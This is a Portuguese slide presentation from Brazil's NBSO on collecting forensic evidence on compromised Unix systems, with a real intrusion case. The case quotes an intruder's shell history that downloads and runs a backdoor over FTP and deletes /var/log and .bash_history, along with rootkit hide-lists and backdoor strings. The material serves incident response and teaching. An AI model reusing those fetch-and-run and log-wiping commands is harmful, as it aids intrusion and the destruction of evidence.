Evidências em Sistemas Unix

Klaus Steding-Jessen

jessen@nic.br

NIC BR Security Office – NBSO

Comitê Gestor da Internet no Brasil

http://www.nbso.nic.br/

Roteiro

- Introdução
- Tipos de Evidências
- Localização das Evidências
- Exemplo de Caso Real
- Ferramentas Úteis
- Referências

Introdução

- Análise de Artefatos
  - focada em entender a invasão, ferramentas usadas, etc.
- Análise Forense
  - focada em recuperar evidências

Objetivos

- Determinar
  - Vulnerabilidade utilizada
  - Origem
  - Outras máquinas envolvidas
  - Ações do invasor
  - Motivação do invasor

Tipos de Evidências

- Voláteis
  - memória
  - conexões de rede, processos
- No sistema de arquivos
  - arquivos de log, de configuração, etc.
  - artefatos deixados pelo invasor
- No disco
  - arquivos removidos pelo invasor

Linha de Ação

- Desconectar da rede
  - Preservar evidências voláteis
- Tomar notas
- Relacionar horário
  - O horário muitas vezes está incorreto
- Imagem do disco
  - Para outra máquina
  - Compressão / Criptografia

Preservação de Evidências Voláteis

- Conteúdo da Memória
  - `/dev/mem`, `/dev/kmem`, etc
- processos
  - `ps`, `lsof`, `pcat`, etc.
- Conexões de rede
  - `netstat`, `ifconfig`, etc.
- LKMs carregados
- *Swap*

Imagens do Disco

- Não danifica evidências
- Preserva arquivos apagados
- Não depende da máquina comprometida
  - ferramentas e *kernel* confiável
- Alguns problemas
  - Tamanho da imagem em alguns sistemas
  - Espaço em disco / tempo

Geração de Imagem

- Na máquina origem:

```
# dd if=/dev/rsd0d | nc maquina 10000
```

- Na máquina destino:

```
# nc -l 10000 > dd.image.sd0d

# vnconfig /dev/vnd0c ./dd.image.sd0d
# mount -r -o noexec /dev/vnd0c /mnt/
```

Geração de Imagem (cont.)

- Transferindo os dados com compressão

```
# dd if=/dev/rsd0d | gzip -c | \
  nc maquina 10000
```

- Enviando os dados criptografados com `ssh`

```
# dd if=/dev/rsd0d | \
ssh -l user maquina 'cd /var/tmp ; \
                     dd of=dd.image'
```

Evidências – Comandos do Sistema

- Programas e bibliotecas do sistema modificados pelo invasor
  - introdução de *backdoors*
  - através de *rootkits*
  - muitas vezes podem ser localizados pela modificação no `ctime`

Evidências – Arquivos do Sistema

- Arquivos e Informações do Sistema
  - *shell history*
  - *core files*
  - `ssh/known_hosts`
  - comandos `last` e `lastcomm`
  - entradas no `cron`
  - arquivos de configuração
    - tudo abaixo de `/etc/`

Evidências – Arquivos de Log

- Arquivos de *Logs*
  - arquivos dentro de `/var/log`
    - geralmente editados ou removidos pelo invasor
    - muitas vezes podem ser recuperados, se lidos diretamente do device

Evidências – Rootkits

- Usados pelos invasores para evitar detecção
- Rootkit tradicional
  - versões modificada de comandos
    - `ps`, `netstat`, `ifconfig`, `find`, etc
- LKM rootkit
  - alteram estruturas do kernel
  - difícil detecção

Evidências – Rootkits (cont.)

- Arq. de configuração
  - informam ao rootkit que informações esconder

```
/* Processes to hide */
#define ROOTKIT_PROCESS_FILE "/dev/hda01"

/* Addresses to hide */
#define ROOTKIT_ADDRESS_FILE "/dev/hda02"

/* Files and directories to hide */
#define ROOTKIT_FILES_FILE "/dev/hda03"
```

Evidências – Rootkits (cont.)

- `/dev/hda01`

```
3 sl2
3 sshdu
3 linsniffer
3 smurf
3 slice
3 mech
3 bnc
3 psybnc
```

- `/dev/hda02`

```
1 10.231.139
1 10.154.137
1 10.254.34
3 48744
3 3666
3 31221
3 22546
3 1703
4 48744
4 2222
```

Evidências – Artefatos

- Artefatos: material deixado pelo Invasor
  - ferramentas
  - exploits
  - material de outros sites
  - logs de *sniffer*

Artefatos – onde encontrar

- Arquivos regulares abaixo de `/dev`

```
# find /dev -type f -ls

-rwxr-xr-x   1 root  root  26689 Dez  2  2000 /dev/MAKEDEV
-rwx------   1 root  root   7165 Dez  9 10:59 /dev/ida/.inet/linsniffer
-rw-r--r--   1 root  root     78 Dez  9 10:59 /dev/dsx
-rw-r--r--   1 root  root     47 Dez  9 10:59 /dev/ptyq
-rwxr-xr--   1 root  root    185 Dez 10 22:19 /dev/ttyop
-rwxr-xr-x   1 root  root    102 Dez 10 22:19 /dev/ttyoa
-rwxr-xr--   1 root  root    152 Dez 10 22:19 /dev/ttyof
```

Artefatos – onde encontrar (cont.)

- Diretórios começando com ponto

```
# find / -type d  -name '.*'  -ls | cat -ve

drwxr-xr-x   4 root  root   4096 Dez  9 12:30 /tmp/...$
drwxr-xr-x   2 root  root   4096 Dez  9 09:59 /tmp/.../..\ $
drwxr-xr-x   3 named named  4096 Dez  3 00:01 /tmp/.tooz$
drwxr-xr-x   2 root  root   4096 Dez  9 10:59 /dev/ida/.inet$
drwxr-xr-x   4 root  root   4096 Dez 10 22:19 /usr/man/man1/.tooz$
drwxr-xr-x   5 root  root   4096 Dez  6 18:12 /usr/sbin/...$
drwxr-xr-x   3 root  root   4096 Dez  4 19:03 /usr/sbin/.../.mc$
drwx------   2 root  root   4096 Dez  4 19:00 /usr/sbin/.../.cedit$
```

Artefatos – onde encontrar (cont.)

- Conteúdo parcial de `/usr/sbin/.../`

```
-rwxr-xr-x  root/root    1291 usr/sbin/.../aw/awu
-rw-r--r--  root/root     231 usr/sbin/.../aw/awu.list
-rw-r--r--  root/root     597 usr/sbin/.../aw/Makefile
-rwxr-xr-x  root/root    5872 usr/sbin/.../aw/pscan2.c
-rw-r--r--  root/root    6134 usr/sbin/.../aw/ss.c
-rwxr-xr-x  root/root    3350 usr/sbin/.../aw/ssvuln.c
-rw-r-----  root/root    5015 usr/sbin/.../aw/targets
-rwxr-xr-x  root/root  382072 usr/sbin/.../aw/wu
-rwxr-xr-x  root/root 1393996 usr/sbin/.../aw/x2
-rwxr-xr-x  root/root   15872 usr/sbin/.../aw/pscan2
-rwxr-xr-x  root/root   16580 usr/sbin/.../aw/ss
-rwxr-xr-x  root/root   15107 usr/sbin/.../aw/ssvuln
-rw-r--r--  root/root    1604 usr/sbin/.../aw/10.105.ssh
-rw-r--r--  root/root   12369 usr/sbin/.../aw/10.105.pscan.21.tmp
-rw-r--r--  root/root     180 usr/sbin/.../aw/10.105.ssh.out
```

Caso Real

- Conexões de rede

```
# lsof -i

COMMAND  PID  USER  TYPE NODE NAME
snarf  13854  root   REG  909 /tmp/snarf
snarf  13854  root  IPv4  TCP *:12345 (LISTEN)
snarf  14447  root  IPv4  TCP *:3870 (LISTEN)
snarf  15210  root  IPv4  TCP *:23023 (LISTEN)
snarf  13854  root  IPv4  TCP www:12345->10.0.183.30:3081 (CLOSE_WAIT)
snarf  14447  root  IPv4  TCP www:3870->10.0.183.30:3575 (CLOSE_WAIT)
snarf  15210  root  IPv4  TCP www:23023->10.1.120.237:34607 (CLOSE)
```

Caso Real (cont.)

- backdoor `snarf`

```
# strings snarf

/lib/ld-linux.so.2
libc.so.6

[...]

SuidBack open
DaemonBack open
File Activated
File+Pass Activated
Ping Packet Activated
Connect to port Activated
/tmp/.nsb
/tmp/.teta7374
rm -f %s
lammerrlz
```

Caso Real (cont.)

- diretório `/var/log/` foi removido

```
# dd if=device | strings | egrep '^10.1.120.237'

10.1.120.237 - - [27/Dez/2001:17:33:35 -0200] \
                 "GET /kiddies.htm HTTP/1.0" 200 3128

10.1.120.237 - - [27/Dez/2001:17:39:26 -0200] \
                 "GET / HTTP/1.0" 200 12608

10.1.120.237 - - [27/Dez/2001:17:39:51 -0200] \
                 "GET / HTTP/1.0" 200 3128
```

Caso Real (cont.)

- A vulnerabilidade explorada

```
# dd if=device | strings | grep '^Dez'

Dez 27 16:39:45 www sshd[31628]: \
Did not receive ident string from 10.0.183.30.

Dez 27 16:39:53 www sshd[31629]: \
Disconnecting: Corrupted check bytes on input.

Dez 27 16:41:40 www sshd[31704]: \
Disconnecting: crc32 compensation attack: network attack detected

Dez 27 16:41:42 www sshd[31705]: \
Disconnecting: crc32 compensation attack: network attack detected

Dez 27 16:41:44 www sshd[31706]: \
Disconnecting: crc32 compensation attack: network attack detected
```

Caso Real (cont.)

- *history* do invasor

```
whoami
wget ftp://userlammer:lammer@ftp.site.de.warez/snarf
ls
./snarf

ftp ftp.site.de.warez
cp kiddies.htm index.html

cd /var/log
ls
cd ..
ls
rm -rf log

cd /root
rm .bash_history
```

Ferramentas Úteis

- chkrootkit

  http://www.chkrootkit.org/

- TCT

  http://www.porcupine.org/forensics/tct.html

- lsof

  ftp://ftp.sunet.se/pub/unix/admin/lsof

Leitura Recomendada

- Computer Forensic Analysis

  http://www.porcupine.org/forensics/

- CERT/CC Steps for Recovering from a UNIX or NT System Compromise

  http://www.cert.org/tech_tips/root_compromise.html

Sites de Interesse

- Material desta apresentação

  http://www.nbso.nic.br/docs/palestras/

- Documentação sobre Segurança e Administração de Redes

  http://www.nbso.nic.br/docs/

- Documentos, RFCs e sites relacionados

  http://www.nbso.nic.br/links/